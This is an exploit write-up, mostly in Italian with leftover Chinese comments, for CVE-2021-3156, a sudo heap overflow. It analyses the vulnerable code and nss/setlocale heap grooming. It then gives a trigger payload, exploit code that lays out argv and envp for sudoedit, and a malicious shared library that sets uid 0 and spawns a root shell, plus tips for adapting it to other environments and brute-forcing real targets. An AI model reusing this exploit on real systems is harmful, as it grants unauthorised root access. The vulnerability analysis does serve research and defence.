I contenuti relativi al debug sono riportati più avanti [alcuni comandi di debug](#一些调试命令)


## Principio della vulnerabilità

Payload di attivazione della vulnerabilità```shell
sudoedit -s '\' `python3 -c "print('A'*80)"`

··· ···
··· ···

/* Parse command line arguments. */
//在这里处理输入参数，设置sudo_mode
sudo_mode = parse_args(argc, argv, &nargc, &nargv, &settings, &env_add);

··· ···
··· ···
    
switch (sudo_mode & MODE_MASK) {
··· ···
··· ···
case MODE_EDIT:
case MODE_RUN:
    ok = policy_check(&policy_plugin, nargc, nargv, env_add,
	&command_info, &argv_out, &user_env_out);
    ··· ···
    ··· ···
}

··· ···
··· ···

- Prima viene chiamata la funzione parse_args per elaborare i parametri che abbiamo inserito. In realtà qui abbiamo inserito solo un `-s`, non c'è molto da impostare, e sudo_mode viene impostato su MODE_EDIT e MODE_SHELL.

- Poi, a seconda del sudo_mode, MODE_EDIT richiama policy_check

Successivamente, la funzione policy_check in sudo.c (sudo.c: 1136):```c
static int
policy_check(struct plugin_container *plugin, int argc, char * const argv[],
    char *env_add[], char **command_info[], char **argv_out[],
    char **user_env_out[])
{
    ··· ···
    ··· ···
    ret = plugin->u.policy->check_policy(argc, argv, env_add, command_info,
	argv_out, user_env_out);
    ···
}

exec_args.argv = argv_out;
exec_args.envp = user_env_out;
exec_args.info = command_infop;

ret = sudoers_policy_main(argc, argv, 0, env_add, &exec_args);
··· ···
··· ···

Poi ha chiamato la funzione sudoers_policy_main in sudoers.c (sudoers.c: 224):```c
int
sudoers_policy_main(int argc, char * const argv[], int pwflag, char *env_add[],
    void *closure)
{
    ··· ···
    ··· ···

    /*
     * Make a local copy of argc/argv, with special handling
     * for pseudo-commands and the '-i' option.
     */
    if (argc == 0) {
	··· ···
    } else {
	/* Must leave an extra slot before NewArgv for bash's --login */
	NewArgc = argc;
	NewArgv = reallocarray(NULL, NewArgc + 2, sizeof(char *));
	··· ···
	}
	memcpy(++NewArgv, argv, argc * sizeof(char *));
	NewArgv[NewArgc] = NULL;
	··· ···
	}
    }
	··· ···
    cmnd_status = set_cmnd();
    ··· ···
    ··· ···
    ··· ···
}

/* set user_args */
if (NewArgc > 1) {
    char *to, *from, **av;
    size_t size, n;

    /* Alloc and build up user_args. */
    //根据参数总长度计算size， 后续malloc 申请，没有问题
    for (size = 0, av = NewArgv + 1; *av; av++)
	size += strlen(*av) + 1;
    if (size == 0 || (user_args = malloc(size)) == NULL) {
	sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
	debug_return_int(-1);
    }
    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
	/*
	 * When running a command via a shell, the sudo front-end
	 * escapes potential meta chars.  We unescape non-spaces
	 * for sudoers matching and logging purposes.
	 */
     //将所有参数拷贝到一起放到堆中，逻辑是遇到'\'加非空格类型字符则只拷贝非空格字符
     //但这里\x00 并不算空格类型字符
     //他没有考虑参数如果只有一个'\'或以'\'结尾并且下两个字符后就是另一个字符串情况
	for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
	    while (*from) {
		if (from[0] == '\\' && !isspace((unsigned char)from[1]))
		    from++;
		*to++ = *from++;
	    }
	    *to++ = ' ';
	}
	*--to = '\0';
    } 
    ··· ···
}
}
··· ···
··· ···

L'overflow si verifica anche qui, come si può vedere dai commenti nel codice: l'overflow dell'heap avviene durante la copia nell'heap. L'intenzione originale di questo codice non è difficile da comprendere: copiare tutti i parametri da `NewArgv` nell'heap, separati da spazi, e quando si incontra `\ + carattere non spazio`, si copia solo quel carattere.

**Non è stato però considerato un caso: se un elemento di `NewArgv` termina con `\`, si ha la struttura `\+\x00`, dove `\x00` non è un carattere di spazio (assurdo). Ciò significa che, dopo aver copiato `\x00` nell'heap, la variabile `from` viene incrementata due volte in un ciclo, saltando l'opportunità di controllare il terminatore `\x00` nel ciclo `while`, e si continua a copiare oltre, pensando che il parametro non sia finito, fino a incontrare il successivo `\x00`.**

In questo scenario si vede che subito dopo `\+\x00` c'è il parametro successivo `A*80`, quindi si continua a copiare fino alla fine di `A*80`. Ma non dimentichiamo che in seguito si elaborerà effettivamente anche il parametro `A*80`, copiandolo di nuovo. Quindi `A*80` viene copiato due volte in totale, ma il chunk è stato allocato in base alla dimensione di una singola stringa `A*80`, ben al di sotto della lunghezza copiata.

image-20220123113907744

Poi si verifica l'overflow: prima della copia:

image-20220123114036691

Dopo la copia:

image-20220123114137794

Il percorso di attivazione della vulnerabilità è (durante il debug è sufficiente impostare breakpoint su queste funzioni):

- sudo.c : main
  - sudo.c : policy_check
    - policy.c : sudoerrs_policy_check
      - sudoers.c : sudoers_policy_main
        - sudoers.c : set_cmnd
          - sudoers.c : 859

## Principio dello sfruttamento della vulnerabilità

Riferimento a [blasty/CVE-2021-3156](https://github.com/blasty/CVE-2021-3156), **ma il suo metodo di disposizione dell'heap è difficile da replicare; qui viene analizzato in dettaglio il metodo di disposizione dell'heap**. Si utilizzano le variabili d'ambiente `LC_*` per organizzare l'heap, in modo che il chunk in overflow vada a sovrascrivere la struttura `service_user` che la funzione `nss_load_library` deve caricare per la SO, sovrascrivendo il nome della libreria condivisa in tale struttura, e facendo sì che il programma carichi una SO da noi specificata per eseguire codice arbitrario.

Sebbene la logica sembri chiara, i dettagli da gestire sono piuttosto complessi:

1. Strutture dati e meccanismi correlati in `nss_load_library`
2. Come `setlocale` organizza l'heap tramite le variabili d'ambiente `LC_*`

Di seguito chiameremo il chunk in cui si verifica l'overflow "vuln chunk", e il bersaglio dell'overflow "target chunk".

### Principio di nss

Per prima cosa esaminiamo il codice chiave per lo sfruttamento:

glibc/nss/nsswitch.c: 377 nss_load_library()```c
static int
nss_load_library (service_user *ni)
{
  if (ni->library == NULL)
    {
      static name_database default_table;
      ni->library = nss_new_service (service_table ?: &default_table,
				     ni->name);
      if (ni->library == NULL)
	return -1;
    }

  if (ni->library->lib_handle == NULL)
    {
      ··· ···
      __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
					      "libnss_"),
				    ni->name),
			  ".so"),
		__nss_shlib_revision);

      ni->library->lib_handle = __libc_dlopen (shlib_name);
      ··· ···
      ··· ···
  }
}

Questo è un file di configurazione che specifica i percorsi e l'ordine (in pratica quali so utilizzare) per cercare i metodi. Permette anche di specificare le azioni che il sistema intraprenderà quando un metodo ha successo o fallisce.

Quello che capisco è che specifica da dove il programma deve recuperare le informazioni necessarie, come informazioni utente, rete, indirizzo, ecc. Nel programma, ciò significa che la funzione viene chiamata da un so diverso. L'implementazione di quella funzione nei diversi so è il metodo per recuperare tali informazioni.

Ora esaminiamo tre strutture:```c
typedef struct service_user
{
  /* And the link to the next entry.  */
  struct service_user *next;
  /* Action according to result.  */
  lookup_actions actions[5];
  /* Link to the underlying library object.  */
  service_library *library;
  /* Collection of known functions.  */
  void *known;
  /* Name of the service (`files', `dns', `nis', ...).  */
  char name[0];
} service_user;

typedef struct name_database_entry
{
  /* And the link to the next entry.  */
  struct name_database_entry *next;
  /* List of service to be used.  */
  service_user *service;
  /* Name of the database.  */
  char name[0];
} name_database_entry;

typedef struct name_database
{
  /* List of all known databases.  */
  name_database_entry *entry;
  /* List of libraries with service implementation.  */
  service_library *library;
} name_database;

glibc/nss/nsswitch.c : 541```c
static name_database *
nss_parse_file (const char *fname)
{
  FILE *fp;
  name_database *result;
  name_database_entry *last;
  ··· ···
  //打开/etc/nsswitch.conf
  fp = fopen (fname, "rce");
  ··· ···
  result = (name_database *) malloc (sizeof (name_database));
  ··· ···
  do
    {
      name_database_entry *this;
      ssize_t n;
      n = __getline (&line, &len, fp);// getline 这里会申请一个0x80 大小的chunk
      
      ··· ···
          
      this = nss_getline (line);
      if (this != NULL)
	{
	  if (last != NULL)
	    last->next = this;
	  else
	    result->entry = this;

	  last = this;
	}
    }
  while (!feof_unlocked (fp));

  /* Free the buffer.  */
  free (line); //在函数返回之前会将getline 函数申请的0x80 chunk 释放掉。
  /* Close configuration file.  */
  fclose (fp);

  return result;
}

Prima chiama `__nss_database_lookup` in base al `DATABASE_NAME_STRING` passato (contenuto come passwd, group, shadow, ecc.) per trovare il service corrispondente: cioè cerca nella zona rossa dell'immagine sottostante per trovare una corrispondenza, restituisce il puntatore al service. Se è la prima ricerca e tutti gli ingressi sono vuoti, viene inizializzato (come menzionato sopra).

image-20220123133933696

Successivamente chiama `__nss_lookup` che a sua volta chiama `__nss_lookup_function` per cercare, tramite la lista collegata dei service, il service che contiene la funzione corrispondente, poi chiama `nss_load_library` per ottenere l'handle della libreria condivisa (so), quindi cerca la funzione corrispondente. Il codice è il seguente:

glibc/nss/nsswitch.c : 194```c
int
__nss_lookup (service_user **ni, const char *fct_name, const char *fct2_name,
	      void **fctp)
{
  *fctp = __nss_lookup_function (*ni, fct_name);
  ··· ···
  while (*fctp == NULL
	 && nss_next_action (*ni, NSS_STATUS_UNAVAIL) == NSS_ACTION_CONTINUE
	 && (*ni)->next != NULL)
    {
      *ni = (*ni)->next;

      *fctp = __nss_lookup_function (*ni, fct_name);
      ··· ···
    }

  return *fctp != NULL ? 0 : (*ni)->next == NULL ? 1 : -1;
}
libc_hidden_def (__nss_lookup)

  if (ni->library->lib_handle == (void *) -1l)
    /* Library not found => function not found.  */
    result = NULL;
  else
    {
      ··· ···
          
      /* Construct the function name.  */
      __stpcpy (__stpcpy (__stpcpy (__stpcpy (name, "_nss_"),
				    ni->name),
			  "_"),
		fct_name);

      /* Look up the symbol.  */
      result = __libc_dlsym (ni->library->lib_handle, name);
    }
    
    ··· ···
    ··· ···

}
···

Si può vedere che, non appena viene chiamata una funzione all'interno di libnss_xxx.so, verrà invariabilmente chiamata `nss_load_library`, anche se la libreria .so è già stata caricata. Pertanto, secondo l'idea dell'exp noto, **è sufficiente sapere a quale .so appartiene la prima funzione relativa a libnss chiamata dopo che si è verificato l'heap overflow, quindi tramite il layout dell'heap posizionare la struttura `service_user` a cui appartiene quel .so subito dopo il vuln chunk. Tuttavia, dai miei test in diversi ambienti, ho scoperto che anche per la stessa versione, la struttura del codice tra una compilazione propria e una distribuzione ufficiale è piuttosto diversa**; qui utilizzo il mio ambiente di debug per ri-analizzare e scrivere un exp.

### Ritorno all'ambiente di debug

L'ambiente di debug che ho configurato (docker) è un sudo compilato da me stesso, con simboli di debug; i dettagli specifici sono i seguenti:```
ubuntu 18.04 LTS
libc-2.27
sudo 1.8.21

    if (newdata[category] == NULL)
      {//返回null 则会跳出循环
	···
	break;
      }

    ··· ···

    /* Make a copy of locale name.  */
    if (newnames[category] != _nl_C_name)
      {
	if (strcmp (newnames[category],
		    _nl_global_locale.__names[category]) == 0)
	  newnames[category] = _nl_global_locale.__names[category];
	else
	  {
        //这个strdup 很关键
	    newnames[category] = __strdup (newnames[category]);
	    if (newnames[category] == NULL)
	      break;
	  }
      }
  }

  /* Create new composite name.  */
  composite = (category >= 0
	   ? NULL : new_composite_name (LC_ALL, newnames));
  if (composite != NULL)
{
    ··· ···
}
  else
for (++category; category < __LC_LAST; ++category)//校验
  if (category != LC_ALL && newnames[category] != _nl_C_name
      && newnames[category] != _nl_global_locale.__names[category])
    //这个free 很关键，这里是一处循环free，可以集中free 一堆chunk
    free ((char *) newnames[category]);

  /* Critical section left.  */
  __libc_rwlock_unlock (__libc_setlocale_lock);

  /* Free the resources.  */
  free (locale_path);
  free (locale_copy);

  return composite;
}

··· ···
··· ···
  

`setlocale` 函数是关于一些语言环境乱七八糟有关的，相关环境变量参数有以下几种：```c
#define __LC_CTYPE		 0
#define __LC_NUMERIC		 1
#define __LC_TIME		 2
#define __LC_COLLATE		 3
#define __LC_MONETARY		 4
#define __LC_MESSAGES		 5
#define __LC_ALL		 6
#define __LC_PAPER		 7
#define __LC_NAME		 8
#define __LC_ADDRESS		 9
#define __LC_TELEPHONE		10
#define __LC_MEASUREMENT	11
#define __LC_IDENTIFICATION	12

  if (locale_file == NULL)
return NULL;
}

Alla funzione `_nl_find_locale`, viene prima chiamata la funzione `_nl_explode_name` per assegnare le maschere in base al valore della variabile d'ambiente (come ho detto nei commenti nel codice). Si controlla principalmente se sono presenti nazione, lingua e suffisso personalizzato dall'utente; se presenti, vengono impostate le maschere corrispondenti, con la lingua che ne imposta due, per un totale di quattro. Quindi la chiamata alla funzione `_nl_make_l0nflist` porta direttamente a un ritorno vuoto di `_nl_find_locale`, innescando il break del ciclo in `setlocale` di cui sopra (importante).

Ora diamo un'occhiata alla funzione `_nl_make_l0nflist`:

glibc/intl/l0nflist.c : 150```c
struct loaded_l10nfile *
_nl_make_l10nflist (struct loaded_l10nfile **l10nfile_list,
		    const char *dirlist, size_t dirlist_len,
		    int mask, const char *language, const char *territory,
		    const char *codeset, const char *normalized_codeset,
		    const char *modifier,
		    const char *filename, int do_allocate)
{
  char *abs_filename;
  struct loaded_l10nfile *last = NULL;
  struct loaded_l10nfile *retval;
  char *cp;
  size_t entries;
  int cnt;

  /* Allocate room for the full file name.  */
  //根据mask 的值会组成不同的文件路径，长度自然不同，根据长度申请chunk
  abs_filename = (char *) malloc (dirlist_len
				  + strlen (language)
				  + ((mask & XPG_TERRITORY) != 0
				     ? strlen (territory) + 1 : 0)
				  + ((mask & XPG_CODESET) != 0
				     ? strlen (codeset) + 1 : 0)
				  + ((mask & XPG_NORM_CODESET) != 0
				     ? strlen (normalized_codeset) + 1 : 0)
				  + ((mask & XPG_MODIFIER) != 0
				     ? strlen (modifier) + 1 : 0)
				  + 1 + strlen (filename) + 1);

  if (abs_filename == NULL)
    return NULL;

  retval = NULL;
  last = NULL;

  /* Construct file name.  */
  //根据文件名，也就是mask决定的内容进行拼接文件名
  memcpy (abs_filename, dirlist, dirlist_len);
  __argz_stringify (abs_filename, dirlist_len, ':');
  cp = abs_filename + (dirlist_len - 1);
  *cp++ = '/';
  cp = stpcpy (cp, language);

  if ((mask & XPG_TERRITORY) != 0)
    {
      *cp++ = '_';
      cp = stpcpy (cp, territory);
    }
  if ((mask & XPG_CODESET) != 0)
    {
      *cp++ = '.';
      cp = stpcpy (cp, codeset);
    }
  if ((mask & XPG_NORM_CODESET) != 0)
    {
      *cp++ = '.';
      cp = stpcpy (cp, normalized_codeset);
    }
  if ((mask & XPG_MODIFIER) != 0)
    {
      *cp++ = '@';
      cp = stpcpy (cp, modifier);
    }

  *cp++ = '/';
  stpcpy (cp, filename);

  ··· ···
  //如果已经已经存在同名文件，则释放刚申请的chunk
  if (retval != NULL || do_allocate == 0)
    {
      free (abs_filename);
      return retval;
    }

  retval = (struct loaded_l10nfile *)
    malloc (sizeof (*retval) + (__argz_count (dirlist, dirlist_len)
				* (1 << pop (mask))
				* sizeof (struct loaded_l10nfile *)));
  if (retval == NULL)
    {
      free (abs_filename);
      return NULL;
    }

  retval->filename = abs_filename;
  /* If more than one directory is in the list this is a pseudo-entry
     which just references others.  We do not try to load data for it,
     ever.  */
  retval->decided = (__argz_count (dirlist, dirlist_len) != 1
		     || ((mask & XPG_CODESET) != 0
			 && (mask & XPG_NORM_CODESET) != 0));
  retval->data = NULL;

  if (last == NULL)
    {
      retval->next = *l10nfile_list;
      *l10nfile_list = retval;
    }
  else
    {
      retval->next = last->next;
      last->next = retval;
    }

  entries = 0;
  /* If the DIRLIST is a real list the RETVAL entry corresponds not to
     a real file.  So we have to use the DIRLIST separation mechanism
     of the inner loop.  */
  //这里会进行递归的搜索，根据mask 来讲所有的组合全部找到
  //每次mask 值会-1，这样遍历所有mask可能
  cnt = __argz_count (dirlist, dirlist_len) == 1 ? mask - 1 : mask;
  for (; cnt >= 0; --cnt)
    if ((cnt & ~mask) == 0)
      {
	/* Iterate over all elements of the DIRLIST.  */
	char *dir = NULL;

	while ((dir = __argz_next ((char *) dirlist, dirlist_len, dir))
	       != NULL)
	  retval->successor[entries++]
	    = _nl_make_l10nflist (l10nfile_list, dir, strlen (dir) + 1, cnt,
				  language, territory, codeset,
				  normalized_codeset, modifier, filename, 1);
      }
  retval->successor[entries] = NULL;

  return retval;
}

其中dir(/usr/lib/locale)、language(C)、filename(nome della variabile d'ambiente) sono tutti fissi, il contenuto tra le parentesi quadre viene generato opzionalmente in base al valore di mask. Ad esempio:```
LC_IDENTIFICATION=C.UTF-8@AAAAAAAAAAA

In base ai diversi mask, potrebbe generare:```
1011: /usr/lib/locale/C.UTF-8.utf8@AAAAAAAAAAA/LC_IDENTIFICATION
0000: /usr/lib/locale/C/LC_IDENTIFICATION
1111: /usr/lib/locale/C.UTF-8.utf8@AAAAAAAAAAA/LC_IDENTIFICATION
0111: /usr/lib/locale/C.UTF-8.utf8/LC_IDENTIFICATION

Calcola x, y tali che:```
(x+y)+(x+y)+(x+y+1)+(x+y-2)+... ...+(y+1) 刚好 < 0x650 
2x+y = 0xa0-0x10

Da parte mia, ho risolto:```
x=11
y=121

while ((signed int)(offset-len)<2)
{
    x--;
    y=size-1-x*2;
    len=x+y+(x+y+1)*x/2;
    if(x<0)
        return -1;
}
int envoff=offset-len-2+0x30;
printf("%d,%d,%d\n",x,y,len);
char * Astring=malloc(size);
int i=0;
for(i=0;i<y;i++)
    Astring[i]='A';
Astring[i]='\x00';

argv[argvnow++]="sudoedit";
argv[argvnow++]="-s";
for (i=0;i<x;i++)
    argv[argvnow++]="\\";
argv[argvnow++]=Astring;
argv[argvnow++]="\\";
argv[argvnow++]=NULL;
for(i=0;i<envoff;i++)
    envp[envnow++]="\\";
envp[envnow++]="X/test";
return 0;

execve("/usr/local/bin/sudoedit",argv,envp);

lib.c è come segue:```c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

static void __attribute__ ((constructor)) _init(void);

static void _init(void) {
        printf("[+] bl1ng bl1ng! We got it!\n");
#ifndef BRUTE
        setuid(0); seteuid(0); setgid(0); setegid(0);
        static char *a_argv[] = { "sh", NULL };
        static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
        execv("/bin/sh", a_argv);
#endif
}

成功：

image-20220123115529219

### Metodo per modificare l'exploit per ambienti specifici

Principalmente per facilitare la propria ricerca e debugging, non per attacchi reali. Per attacchi reali si consiglia comunque il brute force. È necessario conoscere i seguenti punti in base all'ambiente:

1. Dimensione controllabile di vuln, cioè il free tcache lasciato in setlocale, che non viene consumato prima che venga richiesto vuln. Bisogna trovare una dimensione adatta (corrispondente a 0xa0 nel mio exploit).
2. Dove posizionare vuln, cioè quanti chunk da 0x40 prima e dopo il chunk vuln (corrispondente alla funzione addChunk nella mia funzione main dell'exploit).
3. Distanza dal target chunk al vuln chunk, cioè target chunk addr - vuln chunk addr (corrispondente a 0x650 nel mio exploit).

Modificando i tre punti sopra, con alta probabilità si riesce direttamente.

## Fattori che influenzano lo sfruttamento della vulnerabilità

I fattori che influenzano il layout dell'heap sono molti. Per la stessa versione di sudo, diverse opzioni di compilazione causano cambiamenti nel layout dell'heap (se vengono aggiunte o rimosse funzioni che partecipano all'allocazione dell'heap prima dell'overflow, molto probabilmente il layout dell'heap cambierà).

Il layout dell'heap di sudo della distribuzione è diverso da quello della propria versione compilata.

Anche differenze nei file di configurazione globale di sudo influenzano.

Anche file generici come passwd influenzano.

Anche differenze nel file nsswitch.conf influenzano.

Versione di glibc.

Altri ambienti globali (o file di ambiente).

## Misure di mitigazione

Aggiornare all'ultima versione.

## Alcuni comandi di debug```
watch rwatch awatch 内存断点
catch exec
set follow-exec-mode new 调试exp 的时候捕获子进程

Visualizza la prima chiamata della funzione nss dopo l'overflow dell'heap, prima interrompi nel punto dell'overflow:```
b policy_check  #先断离溢出点比较近的位置，直接断溢出点找不到
c
b sudoers.c:849 #malloc前
b sudoers.c:859 #溢出chunk 刚申请完毕
b sudoers.c:867 #溢出完成
c #断住之后再断nss_load_library
b nss_load_library 
c #断nss_load_library
bt #查看调用栈

## Riferimenti

Blog di un esperto interno all'azienda

52破解博客: https://www.52pojie.cn/thread-1439734-1-1.html

blasty's POC: https://github.com/blasty/CVE-2021-3156